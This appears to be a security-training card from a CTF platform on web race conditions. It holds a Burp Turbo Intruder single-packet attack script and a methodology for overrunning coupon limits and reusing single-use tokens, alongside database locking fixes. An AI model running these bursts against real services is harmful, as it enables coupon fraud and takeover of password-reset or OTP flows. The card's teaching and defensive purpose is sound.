Browse CTFs New CTF Sign in

Race condition

web_injection_logic Difficulty 1–5 30 min certifiable

Theory

Why This Matters

PortSwigger Research published a landmark study in 2023 documenting race condition vulnerabilities across production web applications, including MFA bypass, gift card limit overrun, and single-use coupon exploitation. The study introduced the single-packet attack: HTTP/2 frame multiplexing delivers concurrent requests in one TCP segment, eliminating network jitter and making race windows as short as 100 microseconds reliably exploitable with Burp Suite's Turbo Intruder. This reclassified hundreds of "theoretically exploitable" issues from low to critical severity.

Core Concept

A race condition in a web application occurs when the application's correctness depends on the relative timing of two or more concurrent operations, and an attacker can influence that timing. The fundamental structure is check-then-act: the server reads state (check), makes a decision based on that state, then modifies state (act). If a second request executes its check between the first request's check and act, both reads observe the pre-modification state and both proceed as if they are the only modifier.

The race window is the duration between the check and the act. For a simple SELECT + UPDATE in a database without locking, this can be 1–50 milliseconds on a loaded server — long enough for a well-timed parallel burst to exploit. The single-packet attack exploits HTTP/2's multiplexing capability: multiple concurrent requests are packed into a single TCP segment and transmitted simultaneously to the server. The server's HTTP/2 implementation demultiplexes the frames and begins processing all requests at nearly identical timestamps, maximising the probability of hitting the race window.

Limit overrun is the most common manifestation: "redeem limit of 1 per user" is checked (reads current redemption count = 0), then 20 parallel requests all pass the check simultaneously, then all 20 decrement or increment in succession, resulting in 20 redemptions against a limit of 1.

Optimistic locking adds a version integer column to the resource. The UPDATE statement includes WHERE version = :read_version. If two concurrent updates attempt to write with the same version, only one will match the WHERE clause and succeed; the other will update 0 rows, triggering a retry. Pessimistic locking uses SELECT ... FOR UPDATE to acquire an exclusive row lock before the check, serialising all concurrent readers into a queue.

Technical Deep-Dive

# Target: single-use discount code endpoint
# Limit: one redemption per user
# Attack: send 20 parallel requests using Turbo Intruder single-packet attack

# Request template (sent 20 times simultaneously):
POST /api/promo/redeem HTTP/2
Host: shop.example.com
Cookie: session=abc123
Content-Type: application/json
Content-Length: 27

{"code": "HOLIDAY25OFF"}
# Burp Turbo Intruder — single-packet attack script
# Load this script in Extensions > Turbo Intruder > Scripts

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,       # one HTTP/2 connection — all frames in one TCP segment
        requestsPerConnection=20,      # 20 requests multiplexed
        pipeline=False
    )
    # Queue all 20 requests, held behind gate
    for i in range(20):
        engine.queue(target.req, gate='race_gate')

    # Release all simultaneously — single-packet delivery
    engine.openGate('race_gate')

def handleResponse(req, interesting):
    # Flag responses that indicate successful redemption
    if 'discount_applied' in req.response or '200' in req.response[:15]:
        table.add(req)

# Expected result: multiple 200 responses with discount_applied=true
# Confirms that the race window was hit and limit was overrun
# Database-level fix — optimistic locking example (Python + SQLAlchemy)
from sqlalchemy import text

def redeem_code(db, user_id, code):
    # Read current state with version
    row = db.execute(
        text("SELECT id, redeemed, version FROM promo_codes WHERE code = :code FOR UPDATE"),
        {"code": code}
    ).fetchone()

    if row is None:
        raise ValueError("Invalid code")
    if row.redeemed:
        raise ValueError("Code already redeemed")

    # Atomic update — only succeeds if no concurrent writer changed the row
    result = db.execute(
        text("""UPDATE promo_codes
                SET redeemed = TRUE, redeemed_by = :uid, version = version + 1
                WHERE code = :code AND version = :ver AND redeemed = FALSE"""),
        {"code": code, "uid": user_id, "ver": row.version}
    )
    db.commit()

    if result.rowcount == 0:
        raise ValueError("Concurrent redemption detected — retry")
    return True

Security Assessment Methodology

  1. Identify limit-enforced endpoints — Look for endpoints enforcing per-user or per-session limits: promo code redemption, OTP consumption, free trial activation, referral bonuses, vote/like limits, and coupon application.
  2. Confirm the check-then-act pattern — Review the response for language indicating a count check: "already redeemed", "limit reached", "one per customer". These confirm an application-layer limit that may be race-exploitable.
  3. Configure Turbo Intruder for single-packet attack — Set concurrentConnections=1, requestsPerConnection=20–50. Use the gate pattern to synchronise request release. Ensure the target supports HTTP/2 (check via curl --http2).
  4. Send the burst and analyse responses — Open the gate and observe response codes and bodies. A successful race manifests as multiple 200 responses that should have been 409 or 429 after the first.
  5. Verify the side effect — After the burst, check the account state: was the discount applied multiple times? Were multiple OTPs consumed? Was the free trial extended? The HTTP response alone is insufficient — verify the downstream state change.
  6. Test single-use token endpoints — Password reset tokens, email verification links, and magic login links are often single-use. Send the same token twice in a parallel burst to test whether both redemptions succeed.

Defensive Countermeasure — Use pessimistic locking (SELECT ... FOR UPDATE) when checking and updating a limit-enforced resource within a single database transaction. For distributed systems without a shared database lock, implement Redis-based atomic operations (SETNX for a one-time flag, INCR for an atomic counter with a ceiling check). Use idempotency keys on all state-mutating endpoints: store the idempotency key before processing and reject duplicate keys regardless of race timing. Apply database unique constraints on redemption tables (UNIQUE(user_id, promo_code_id)) as a last-resort backstop that prevents duplicate rows even if application-layer checks race.

Common Assessment Errors

  • Using HTTP/1.1 instead of HTTP/2 — HTTP/1.1 pipelining does not guarantee simultaneous processing. Always confirm HTTP/2 support with curl --http2 -I https://target.example.com before testing.
  • Sending too few parallel requests — With 2–3 parallel requests, the race window may not be hit. Start with 20–50 requests and increase if initial attempts fail. Wider race windows (database-heavy operations) may need fewer; CPU-bound checks may need more.
  • Interpreting 429 as complete protection — A rate limiter may respond 429 to subsequent requests after the race window has already been exploited. Confirm by checking the downstream ledger, not just response codes.
  • Forgetting to test across distributed nodes — If the application is load-balanced across multiple servers without shared locking, two requests to different nodes can both pass the check independently. Test with parallel sessions if load-balancing is evident.
  • Not testing token endpoints — Password reset links, magic links, and email verification tokens are high-value single-use targets. They are often overlooked in favour of financial endpoints.
  • Missing the sub-second timing requirement — Race windows of 1–5 ms require network-jitter elimination. If testing remotely over a high-latency connection, results may be unreliable. Use a co-located environment or VPN endpoint close to the target.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorization, and access control methods Demonstrates that limit enforcement is an authorization control requiring atomic implementation
K0065 Knowledge of web application security testing techniques Develops single-packet attack methodology using Burp Turbo Intruder and HTTP/2 multiplexing
K0070 Knowledge of system and application security threats and vulnerabilities Classifies limit overrun race conditions as a concrete web application threat with demonstrated real-world impact
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains parallel request burst testing and downstream state verification
T0028 Identify and analyze vulnerabilities and risks in web applications Applies check-then-act pattern recognition to identify race-exploitable limit enforcement
T0570 Perform technical security assessments of web applications Structures race condition assessment from endpoint identification through multi-redemption proof

Further Reading

  • Kettle, J. (2023). Smashing the State Machine: The True Potential of Web Race Conditions — PortSwigger Research
  • PortSwigger Web Security Academy: Race Conditions — PortSwigger
  • OWASP Race Condition Vulnerability Cheat Sheet — OWASP Foundation

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.